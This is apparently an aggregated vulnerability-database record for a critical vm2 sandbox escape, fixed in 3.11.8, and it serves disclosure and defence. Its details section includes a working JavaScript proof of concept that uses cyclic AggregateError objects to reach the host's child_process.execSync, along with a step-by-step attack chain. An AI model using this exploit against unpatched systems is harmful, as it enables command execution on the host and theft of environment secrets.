{"schema":"threatline.record/2","record":{"id":"CVE-2026-92934","aliases":["GHSA-x965-fc75-jpqh"],"summary":"vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit","details":"## Summary\nvm2 `3.11.6` (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the \"sanitized\" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.\n\n## Root Cause\n`handleException` (`lib/setup-sandbox.js`) breaks recursion cycles at line 1819 with `if (apply(localWeakMapGet, visited, [e])) return e;` — returning the RAW host carrier on revisit. For plain-`Error` carriers this is safe because `sanitizeErrorCause`/`sanitizeHostOwnProps` seal the host object **in place** on first visit. But `sanitizeAggregateError` (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh `LocalAggregateError` and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via `sanitizedArr[sanitizedArr.length] = handleException(item, visited)` (line 1965) into the \"sanitized\" `errors[]`.\n\n## Impact\nFull host RCE (`child_process.execSync`) and host info disclosure (`process.env`, `.pid`) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.\n\n## Proof of Concept\n```js\nconst {VM} = require('vm2');\nconst vm = new VM({ sandbox: { hostThrow(){\n  const shared = new AggregateError([], 'shared');\n  shared.leak = process;                                  // incidental host ref\n  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice\n}}});\nconsole.log(vm.run(`\n  try { hostThrow(); } catch (e) {\n    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();\n  }`));                                                   // -> uid=1000(...) host RCE\n```\nConfirmed vectors (all return real `id` output): AggregateError self-cycle (`agg.errors=[agg]; agg.leak=process`), duplicate-in-array (`[shared,shared]`), mutual-cycle (`a.errors=[b]; b.errors=[a]`), and nested mutual/duplicated host sub-AggregateError.\n\n## Attack Chain\n1. **Entry** — embedder exposes a host function the sandbox invokes; it throws a host-wrapped `AggregateError` carrying a host reference in a rebuild-surviving slot plus a revisit trigger (`agg.errors=[agg]; agg.leak=process`). *Guard:* none at entry (throwing from an exposed host fn is normal). *Bypass proof:* same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, `docs/ATTACKS.md` Category 38), accepted in scope.\n2. **Caught-exception sanitizer** — sandbox `try{hostThrow()}catch(e){…}`; transformer routes `e` through `handleException`. *Guard:* Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). *Bypass proof:* `handleException(agg)` marks `agg` visited (1820); proto-walk routes to `sanitizeAggregateError` (1865); host-wrapped branch reads `agg.errors` and calls `handleException(agg, visited)` on element 0 (1965); that inner call hits `visited.get(agg)===true` → `return e` (1819) → raw `agg` proxy pushed into `sanitizedArr` → becomes `newAgg.errors[0]`. The rebuild does NOT seal `agg` in place, so the returned proxy is fully live.\n3. **Sink** — `e.errors[0].leak.mainModule.require('child_process').execSync('id')`. *Guard:* bridge `get` wraps host values. *Bypass proof:* the wrap is functional, not capability-restricting; instrumented trace shows `e.errors[0].isProxy===true` yet the chain executes and returns real `uid=1000(ubuntu)...`.\n4. **Impact** — host RCE with host privileges; also `process.env`/`.pid` disclosure.\n\n## Bypass Evidence\nExecuted on node v22.23, vm2 `3.11.6`:\n- Baseline vector `throw new Error('x',{cause:process})` (plain Error `.cause`) → BLOCKED\n- Plain Error own-prop `e.leak=process` (non-cyclic) → BLOCKED\n- Non-cyclic host `AggregateError` w/ own-prop or single host sub-error leak → BLOCKED\n- **AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (`uid=1000(ubuntu)…`)**\n\nEvery non-cyclic shape and the exact baseline `cause` vector are blocked; only the revisited host `AggregateError` leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: `outerLeakType=\"undefined\"` (outer rebuilt safe), `isErrors0Proxy=true` (element 0 is a live host proxy), `rce=uid=1000(ubuntu)…`.\n\n## Affected Versions\n`<= 3.11.6`. The bug exists from the sanitization fix (`7e3faaf`, tag `3.11.6`) onward — an incomplete-fix bypass exists only where the fix exists. `git diff 3.11.6 HEAD -- lib/setup-sandbox.js` is empty (HEAD identical).\n\n## Scope Note\nThis advisory covers the **AggregateError** family only. A `SuppressedError` variant does NOT reproduce (`se.error` returns undefined; RCE blocked) and is excluded.\n\n## Suggested Fix\nOn the cycle short-circuit (line 1819), return the memoized sandbox-realm *replacement* (keyed in `visited`) rather than the raw carrier; OR seal host-wrapped `AggregateError`/`SuppressedError` carriers in place *before* recursing into sub-errors, mirroring the plain-carrier `sanitizeHostOwnProps` invariant.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","categories":["Libraries & packages"],"product":"vm2","vendor":"patriksimek","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-x965-fc75-jpqh","source_modified_at":"2026-10-05T22:38:05Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"range":"<= 3.11.7"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92934","source_modified_at":"2026-09-17T14:27:25.575Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vm2","vendor":"patriksimek","versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"3.11.8"},{"version":"3.11.8","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-x965-fc75-jpqh","source_modified_at":"2026-10-05T22:45:06.534779105Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2","purl":"pkg:npm/vm2"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"3.11.8"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-x965-fc75-jpqh","source_modified_at":"2026-10-05T22:38:05Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"version":"3.11.8"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92934","source_modified_at":"2026-09-17T14:27:25.575Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":null},"version":"3.11.8","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-x965-fc75-jpqh","source_modified_at":"2026-10-05T22:45:06.534779105Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2","purl":"pkg:npm/vm2"},"version":"3.11.8"}],"cvss":9.5,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00762,"percentile":0.54874,"score_date":"2026-10-23"},"published_at":"2026-09-17T13:46:00.130Z","modified_at":"2026-10-05T22:45:06.534779105Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-x965-fc75-jpqh","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T22:38:05Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-92934","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-17T14:27:25.575Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-x965-fc75-jpqh","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T22:45:06.534779105Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92934","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-x965-fc75-jpqh","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92934","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/commit/c8c232530b860cfecf6f94bc8d0d0890aa381460","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.8","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-rce-via-aggregateerror","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-x965-fc75-jpqh","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-09-17T14:26:55.310504Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-05T22:45:06.534779105Z","content_hash":"8c177886302926ffe2c349b59fced8102b2bd280962c539bf4f09686ade47ca8"}}
